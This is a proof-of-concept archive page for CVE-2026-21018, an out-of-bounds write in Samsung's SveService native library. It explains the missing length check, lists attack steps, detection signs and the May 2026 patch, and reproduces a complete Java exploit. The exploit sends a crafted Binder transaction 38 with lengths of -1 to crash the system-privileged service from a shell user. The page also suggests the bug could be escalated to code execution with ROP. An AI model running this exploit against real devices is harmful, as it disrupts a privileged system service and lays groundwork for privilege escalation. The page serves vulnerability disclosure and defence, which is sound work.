PoC Archive PoC Archive
High CVE-2026-21018 (Samsung SVE-2026-0478, SMR May 2026) unpatched

Samsung SveService Native Out-of-Bounds Write (CVE-2026-21018)

by Filipemendonca1978 · 2026-07-05

Severity
High
CVE
CVE-2026-21018 (Samsung SVE-2026-0478, SMR May 2026)
Category
binary
Affected product
Samsung SveService (com.sec.sve) system service and its libsvejni.so native library
Affected versions
Android 14, 15, 16 on Samsung devices prior to SMR May 2026 Release 1 (tested on Galaxy A17 LTE, SM-A175F)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherFilipemendonca1978
CVE / AdvisoryCVE-2026-21018 (Samsung SVE-2026-0478, SMR May 2026)
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsandroid, samsung, binder, native, out-of-bounds-write, jni, lpe, memcpy, memset
RelatedN/A

Affected Target

FieldValue
Software / SystemSamsung SveService (com.sec.sve) system service and its libsvejni.so native library
Versions AffectedAndroid 14, 15, 16 on Samsung devices prior to SMR May 2026 Release 1 (tested on Galaxy A17 LTE, SM-A175F)
Language / PlatformJava (Binder client PoC); native ARM64 library is the vulnerable component
Authentication RequiredLocal-only (no special permission; reachable as shell UID via Binder)
Network Access RequiredNo

Summary

CVE-2026-21018 is an out-of-bounds write in the Samsung system service SveService, which runs as system (UID 1000) and is registered directly via ServiceManager.addService() — bypassing Android’s normal signatureOrSystem permission enforcement, so it is reachable without any special permission. The exposed sveSetCodecInfo Binder transaction (code 38) passes three caller-controlled length parameters straight into the native function sveJNISVE_SetCodecInfo in libsvejni.so, which uses them unchecked as arguments to memset, a stack alloca, and memcpy. Unlike sibling functions in the same library that validate their length arguments against a 30-byte cap, SetCodecInfo performs no validation at all, so a caller-supplied value of -1 (0xFFFFFFFF) causes the service to attempt to zero/copy gigabytes-to-exabytes of memory, corrupting the stack and crashing the service. The PoC drives this transaction directly via reflection-based ServiceManager/Parcel calls from an app_process shell.


Vulnerability Details

Root Cause

In sveJNISVE_SetCodecInfo (libsvejni.so, offset 0x21710), the three integer parameters received from the AIDL call (sveSetCodecInfo, Binder transaction 38) are used directly as size arguments to memset, a stack-adjusting sub sp, sp, xN (effectively alloca), and memcpy, with no bounds checking. Sibling native functions in the same library (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validate their equivalent length parameter with cmp w20, #0x1e; b.gt (rejecting values greater than 30 bytes); SetCodecInfo omits this check entirely. Supplying -1 yields a memset count of 0xFFFFFFFF (~4 GB) and a sign-extended memcpy length of 0xFFFFFFFFFFFFFFFF, corrupting the stack pointer and crashing the process (confirmed via tombstone: SIGSEGV/SEGV_MAPERR in __memset_aarch64 called from sveJNISVE_SetCodecInfo+504).

Attack Vector

  1. Attacker obtains a Binder reference to SveService via ServiceManager.getService("SveService") — no root or special permission required; works from an app_process shell (shell UID).
  2. Attacker builds a Parcel matching the ISecVideoEngineService AIDL layout for sveSetCodecInfo (transaction code 38), including the three vulnerable length fields.
  3. Attacker sends a baseline call with small valid lengths (1,1,1) to confirm connectivity.
  4. Attacker sends a second call with the length fields set to -1, which reaches sveJNISVE_SetCodecInfo in libsvejni.so and triggers unchecked memset/alloca/memcpy operations with attacker-controlled sizes.
  5. The service crashes (DeadObjectException observed by the caller), confirming the out-of-bounds write; with an address leak and a ROP chain (no PAC on the tested SM-A175F), this primitive could plausibly be escalated toward arbitrary code execution as system.

Impact

A local unprivileged (shell-level) caller can reliably crash the privileged system-context SveService, and the underlying unchecked-length memory corruption primitive is a plausible building block for local privilege escalation to system given further exploitation (address leak + ROP).


Environment / Lab Setup

Target:   Samsung Android device running SveService/libsvejni.so prior to SMR May-2026 Release 1 (tested: Galaxy A17 LTE, SM-A175F)
Attacker: Host PC with Android SDK (ANDROID_HOME/ANDROID_SDK_ROOT), platform android-36 jar, d8 build tool, and adb; device reachable via adb

Proof of Concept

PoC Script

See SveServiceExploit.java, build_and_run.sh, libsvejni.so, and sveservice.apk in this folder.

1
./build_and_run.sh

build_and_run.sh compiles SveServiceExploit.java against the Android 36 platform jar, converts it to a classes.dex with d8, pushes it to /data/local/tmp, and runs it on-device via app_process. The exploit first issues a benign sveSetCodecInfo call with lengths (1,1,1) to confirm the transaction succeeds, then repeats the call with lengths (-1,-1,-1), which crashes SveService with a DeadObjectException, confirming the out-of-bounds write.


Detection & Indicators of Compromise

Signs of compromise:

  • Tombstones referencing libsvejni.so with stack pointer in a non-existent memory map (“stack overflow”-style SIGSEGV).
  • Repeated unexplained restarts of SveService correlated with Binder transaction code 38 (sveSetCodecInfo) from low-privilege UIDs.
  • Unusual app_process/reflection-based ServiceManager.getService activity from shell-level processes.

Remediation

ActionDetail
Primary fixSamsung SMR May-2026 Release 1, which adds proper input validation to sveJNISVE_SetCodecInfo
Interim mitigationApply the Samsung SMR May-2026 update; where not yet possible, restrict/monitor Binder access to SveService and alert on abnormal service crashes.

References


Notes

Mirrored from https://github.com/Filipemendonca1978/CVE-2026-21018 on 2026-07-05.

SveServiceExploit.java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.samsung.sve.poc;

import android.os.IBinder;
import android.os.Parcel;
import java.lang.reflect.Method;

public class SveServiceExploit {

    static final String TAG = "SveExploit";
    static final String SERVICE_NAME = "SveService";
    static final String DESCRIPTOR = "com.sec.sve.ISecVideoEngineService";
    static final int CMD = 38; // TRANSACTION_sveSetCodecInfo

    public static void main(String[] args) throws Exception {
        IBinder binder = getService(SERVICE_NAME);
        if (binder == null) {
            System.out.println("[-] Service not found");
            return;
        }

        // Phase 1: baseline
        System.out.println("[*] Phase 1: valid call (1,1,1)...");
        int r = call(binder, 1, 1, 1);
        System.out.println("[+] Returned: " + r);

        // Phase 2: trigger overflow
        System.out.println("[*] Phase 2: i106=-1 (0xFFFFFFFF)...");
        try {
            call(binder, -1, -1, -1);
        } catch (Exception e) {
            String msg = e.getMessage();
            if (msg != null && msg.contains("DeadObject"))
                System.out.println("[+] SveService CRASHED - overflow confirmed");
            else
                System.out.println("[!] " + e.getClass().getSimpleName() + ": " + msg);
        }
    }

    static IBinder getService(String name) {
        try {
            Class<?> sm = Class.forName("android.os.ServiceManager");
            Method get = sm.getMethod("getService", String.class);
            return (IBinder) get.invoke(null, name);
        } catch (Exception e) {
            return null;
        }
    }

    static int call(IBinder binder, int s1, int s2, int s3) throws Exception {
        Parcel data = Parcel.obtain();
        Parcel reply = Parcel.obtain();
        try {
            data.writeInterfaceToken(DESCRIPTOR);
            // 20 int params (i89-i105) + 1 string
            for (int i = 0; i < 6; i++) data.writeInt(0);
            data.writeString("");
            for (int i = 0; i < 5; i++) data.writeInt(0);
            data.writeBoolean(false); data.writeInt(0);
            data.writeBoolean(false);
            for (int i = 0; i < 5; i++) data.writeInt(0);
            // 3 byte arrays (1 byte each)
            data.writeByteArray(new byte[]{0x41});
            data.writeByteArray(new byte[]{0x42});
            data.writeByteArray(new byte[]{0x43});
            // VULNERABLE: sizes passed to native memset/memcpy/alloca
            data.writeInt(s1); data.writeInt(s2); data.writeInt(s3);

            binder.transact(CMD, data, reply, 0);
            reply.readException();
            return reply.readInt();
        } finally {
            reply.recycle();
            data.recycle();
        }
    }
}